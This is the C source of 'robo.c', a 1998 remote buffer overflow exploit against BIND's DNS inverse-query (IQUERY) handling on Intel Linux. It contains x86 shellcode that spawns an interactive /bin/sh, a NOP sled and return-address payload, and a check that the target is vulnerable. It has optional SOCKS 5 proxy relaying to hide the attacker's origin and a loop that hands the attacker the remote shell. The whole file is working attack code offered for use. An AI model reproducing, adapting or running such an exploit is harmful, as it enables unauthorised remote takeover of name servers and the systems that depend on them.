/* robo.c * * remote buffer overflow for BIND running on Intel Linux * * nimrood 5.16.98 * * [SOCKS proxy support by |GCC| 5.21.98 - shout to HackTec & -aS-] */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define RETADDR 0xbffffe00 #define RETADDRSZ 4 #define NOP 0x90 #define BUFSZ 1533 #define PKTSZ 4096 char x86[] = "\x83\xec\x7f\x89\xe5\x83\xec\x0c\xeb\x54\x31\xc0\x89\xc2\x89" "\xc3\x89\x45\x00\x40\x89\x45\xfc\x40\x89\x45\xf8\x89\xe9\x83" "\xe9\x08\x43\xb0\x66\xcd\x80\x48\x89\xc3\x89\xd1\xb0\x3f\xcd" "\x80\x41\x89\xd0\xb0\x3f\xcd\x80\x41\x89\xd0\xb0\x3f\xcd\x80" "\x89\xd0\x5e\x56\x5b\x89\x75\xf8\x83\xc6\x08\x89\x75\xfc\x83" "\xc6\x03\x89\x45\x00\xb0\x0b\x89\xe9\x83\xe9\x08\xcd\x80\x31" "\xc0\x40\xcd\x80\xe8\xa7\xff\xff\xff/bin/sh\x00-i"; /* mkdnsiquery -- * builds a dns inverse query packet * returns the size of the result or -1 on an error */ int mkdnsiquery(const char *data, int dlen, u_char *buf, int blen) { register HEADER *dnshdr; register u_char *cp; register int n; /* do we have enough room for dns header? if so, initialize the header */ if((buf == NULL) || (blen < HFIXEDSZ)) return(-1); memset(buf, 0, HFIXEDSZ); dnshdr = (HEADER *) buf; dnshdr->id = htons(getpid()); dnshdr->opcode = IQUERY; dnshdr->rcode = NOERROR; cp = buf + HFIXEDSZ; /* make the answer record */ if((data == NULL) || (dlen < 1) || (blen <= dlen)) return(-1); *(cp++) = '\0'; /* domain name is NULL for iquery */ PUTSHORT(T_A, cp); PUTSHORT(C_IN, cp); PUTLONG(31337, cp); /* time to live */ PUTSHORT(dlen, cp); /* length of data */ memcpy(cp, data, dlen); cp += dlen; dnshdr->ancount = htons(1); return(cp - buf); } /* resolv -- * lets try some spiffy hostname lookups * exit program on error */ u_long resolv(char *host) { struct hostent *lu; u_long addr = inet_addr(host); if(addr == -1 ) { lu = gethostbyname(host); if((lu == NULL) || (lu->h_name == NULL) || (lu->h_addr_list == NULL)) { printf("unable to resolve %s\n", host); exit(-1); } memcpy(&(addr), *(lu->h_addr_list), sizeof(lu->h_addr_list)); } return(addr); } /* mkevildata -- * formats data for dns packet to cause buffer overflow and execute commands. */ int mkevildata(char *buf, long offset) { char *cp; cp = buf; memset(cp, NOP, BUFSZ); cp += BUFSZ - sizeof(x86); memcpy(cp, x86, sizeof(x86)); cp += sizeof(x86); offset = RETADDR - offset; *(long *)cp = offset; cp += RETADDRSZ; return(cp - buf); } /* timeout -- * signal handler for timing out on tcp nameserver connect * program exits if generated. */ void timeout(int signum) { signal(SIGALRM, SIG_DFL); printf("connection timed out.\n"); exit(-1); } /* main -- * it all starts here baby */ int main(int argc, char *argv[]) { HEADER *dns; struct sockaddr_in to; struct timeval tval; fd_set ioset; char spkt[PKTSZ], rpkt[PKTSZ]; int sd, dlen, pktlen, *cp; long offset = 2000; char robo[2], *roboptr, dat; unsigned char wingate[64] = "", wingate_buff[256]; int use_wingate = 0; u_long addr; printf("robo - dns IQUERY remote buffer overflow for intel linux\nnimrood 5.16.98\n"); if(argc < 2 || argc > 4) { printf("usage: %s [offset [proxy]]\n", argv[0]); exit(-1); } if(argc >= 3) offset = atoi(argv[2]); if(argc == 4) { strncpy(wingate, argv[3], (size_t)64); use_wingate = 1; } to.sin_family = AF_INET; if (use_wingate) { to.sin_port = htons(1080); // SOCKS port to.sin_addr.s_addr = resolv(wingate); } else { to.sin_port = htons(53); // Direct connection DNS port to.sin_addr.s_addr = resolv(argv[1]); } if((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("can't get socket"); exit(-1); } if (use_wingate) { printf("connecting to SOCKS 5 proxy..."); fflush(stdout); signal(SIGALRM, timeout); alarm(10); if (connect(sd, (struct sockaddr *)&to, sizeof(to)) < 0) { perror("connection refused"); exit(-1); } alarm(0); printf("connected\n"); fflush(stdout); printf("authenticating to SOCKS proxy..."); fflush(stdout); /* snprintf(wingate_buff, 256, "%s 53\r", argv[1]); */ /* pktlen = strlen(wingate_buff); */ /* if (write(sd, wingate_buff, pktlen) != pktlen) { */ /* perror("write failed"); */ /* exit(-1); */ /* } */ pktlen=3; wingate_buff[0]=0x5; // SOCKS version 5 wingate_buff[1]=0x1; // we only support one authentication type... wingate_buff[2]=0x0; // ...no authentication ;) if (write(sd, wingate_buff, pktlen)!=pktlen) { perror("write error"); exit(-1); } if (read(sd, wingate_buff, 2)!=2) { perror("read error"); exit(-1); } if (wingate_buff[0] != 0x5) { printf("invalid response (probably not a SOCKS 5 proxy)\n"); exit(-1); } if (wingate_buff[1] == 0xFF) { printf("proxy requires authentication (oops!)\n"); exit(-1); } if (wingate_buff[1] != 0x0) { printf("proxy returned an invalid authentication type\n"); exit(-1); } printf("done\n"); printf("sending connection request..."); fflush(stdout); /* * set up connection request packet in wingate_buff [2000]*/ pktlen = strlen(argv[1]); // for convenience & efficiency; fix it later wingate_buff[1]=0x1; // request to CONNECT wingate_buff[2]=0x0; // reserved /* * Most proxies don't seem to support domain names when specifying target * address, even though it's in the standard. So we have to resolve it * ourselves (bah!) * * wingate_buff[3]=0x3; // the address is a domain name in text format * wingate_buff[4]=(unsigned char)pktlen; // had better not be > 255 ;) * memcpy(wingate_buff+5, argv[1], pktlen); * *((u_int)(wingate_buff+pktlen+5)) = htons(53); * // connect to target on DNS port * pktlen+=7; // fix the packet length * [2000]*/ wingate_buff[3]=0x1; // the address is in IPv4 format addr = resolv(argv[1]); wingate_buff[7] = (addr & 0xFF000000) >> 24; wingate_buff[6] = (addr & 0x00FF0000) >> 16; wingate_buff[5] = (addr & 0x0000FF00) >> 8; wingate_buff[4] = addr & 0xFF; *((u_int *)(wingate_buff+8)) = htons(53); // connect to target on DNS port pktlen = 10; if (write(sd, wingate_buff, pktlen)!=pktlen) { perror("write error"); exit(-1); } /* * get the server's response... [2000]*/ if (read(sd, wingate_buff, 4)!=4) { perror("read error (1)"); exit(-1); } switch(wingate_buff[1]) { case 0: printf("connected\n"); break; case 1: printf("general SOCKS server failure\n"); exit(-1); case 2: printf("connection to this target is not allowed\n"); exit(-1); case 3: printf("target's network is unreachable\n"); exit(-1); case 4: printf("target host is unreachable\n"); exit(-1); case 5: printf("connection refused by target\n"); exit(-1); case 6: printf("TTL expired (probable router loop)\n"); exit(-1); case 7: printf("command not supported (?)\n"); exit(-1); case 8: printf("address type (IPv4) not supported\n"); exit(-1); default: printf("returned unknown error code\n"); exit(-1); } // server responded OK, read the host/port part of the reply and dump it switch(wingate_buff[3]) { case 1: // hostname is in IPv4 format... if (read(sd, wingate_buff+4, 6) != 6) { perror("read error"); exit(-1); } break; case 3: // hostname as text if (read(sd, wingate_buff+4, 1)!=1) { perror("read error"); exit(-1); } pktlen = wingate_buff[4]; // 5th byte of reply contains length of returned hostname if (read(sd, wingate_buff+5, pktlen+2) != pktlen+2) { perror("read error"); exit(-1); } break; default: printf("proxy returned neither an IPv4 address nor domain name\n"); // This wouldn't be critical, except that we need to be able to read // the rest of the reply, so the buffer is clear when we talk to the // nameserver. And we can't do that unless we know how big the address is exit(-1); } // Right, now we're talking to our nameserver =) } else { printf("connecting..."); fflush(stdout); signal(SIGALRM, timeout); alarm(10); if(connect(sd, (struct sockaddr *)&to, sizeof(to)) < 0) { perror("connection failed"); exit(-1); } alarm(0); printf("connected.\n"); fflush(stdout); } printf("testing for vulnerability..."); fflush(stdout); /* use 5 bytes intead of 4 to test for the hole. if a server is answering * IQUERY packets, but is patched, it should return a non-zero error. This * will prevent trying to exploit a patched server answering IQUERY packets. * From looking at the named patches, if the data value is != to 4 bytes, then * a refuse error is sent back (rcode==5). */ pktlen = mkdnsiquery(rpkt, 5, spkt, PKTSZ); roboptr = robo; PUTSHORT(pktlen, roboptr); if(write(sd, robo, 2) !=2 || write (sd, spkt, pktlen) != pktlen) { perror("write failed"); exit(-1); } roboptr = robo; if(read(sd, robo, 2) != 2) { perror("read failed"); exit(-1); } GETSHORT(pktlen, roboptr); if(read(sd, rpkt, pktlen) != pktlen) { perror("read failed"); exit(-1); } dns = (HEADER *)rpkt; if(dns->rcode) { printf("not vulnerable. response code = %i\n", dns->rcode); close(sd); exit(0); } printf("vulnerable.\n"); dlen = mkevildata(rpkt, offset); pktlen = mkdnsiquery(rpkt, dlen, spkt, PKTSZ); printf("sending exploit code..."); roboptr = robo; PUTSHORT(pktlen, roboptr); if(write(sd, robo, 2) != 2 || write(sd, spkt, pktlen) != pktlen) { perror("write failed"); exit(-1); } printf("%i bytes sent.\n", pktlen); fflush(stdout); sleep(2); while(1) { tval.tv_usec = 0; tval.tv_sec = 10; FD_ZERO(&ioset); FD_SET(sd, &ioset); FD_SET(0, &ioset); if(select(sd+1, &ioset, NULL, NULL, &tval) < 0) break; if(FD_ISSET(sd, &ioset)) { pktlen = read(sd, rpkt, PKTSZ); if(pktlen < 0 || write(2, rpkt, pktlen) < 0) break; } if(FD_ISSET(0, &ioset)) { dlen = read(0, spkt, PKTSZ); if(dlen < 0 || write(sd, spkt, dlen) < 0) break; } tval.tv_usec = 100; tval.tv_sec = 0; if(select(0, NULL, NULL, NULL, &tval)) break; } printf("\nconnection lost.\n"); close(sd); } /* www.hack.co.za [2000]*/